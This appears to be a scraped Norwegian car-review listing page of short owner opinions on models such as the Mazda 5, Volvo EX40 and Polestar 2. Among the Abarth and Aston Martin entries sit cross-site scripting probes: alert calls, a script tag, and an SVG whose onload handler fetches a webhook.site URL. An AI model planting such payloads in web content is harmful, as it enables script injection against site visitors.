Mazda 5 (2009)

Meget nyttig familiebil ,som virker godt

Mazda 5 (2009)

God å kjøre, ypperlig teknisk kvalitet. God og praktisk plass. Men innredning og hjulstøy gir 'billig' preg. Sittekomfor, gearskift og vindusvisker er ikkje optimal. Kjøper gjerne igjen, dersom

Mazda 5 (2007)

For all del styr unna!!!

Mazda 5 (2007)

Angrer på at jeg ikke solgte den da den var 7 år. Frem til da hadde jeg ikke store problemer med den. de tre neste årene har jeg sikkert hatt 55.000 i utgifter, og det selv om mange av reparasjonen

Mazda 5 (2007)

God familiebil for oss med fire unger. Pluss for skyvedører bak. Rask og god bil å kjøre.

Mazda 5 (2006)

I utgangspunktet virket dette som en god bil. Praktisk og fin å kjøre. Men problemene ble mange og dyre, mange verkstedbesøk og minst en gang i året ble det taubil.

Mazda 5 (2006)

Verste bilen jeg noen gang har vært borti. Ble dessverre lurt av en privat selger i Trondheim, og fikk kun kjøre bilen i ett år. Modellen er notorisk kjent for motorhavari pga registerkjede, det be

Mazda 5 (2006)

Alt på bilen ryker rundt 140000 km. For ikke snakke om rust. Dyre deler og i det hele tatt ikke verdt metallet som har blitt brukt opp!!

Mazda 5 (2005)

Har hatt den in 2 år. Bensin manuel, Har ikke haft store problem men den brenner olje og jeg må fylle på ca 0.8 l per 100mil.

Mazda CX-5 (2013)

Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h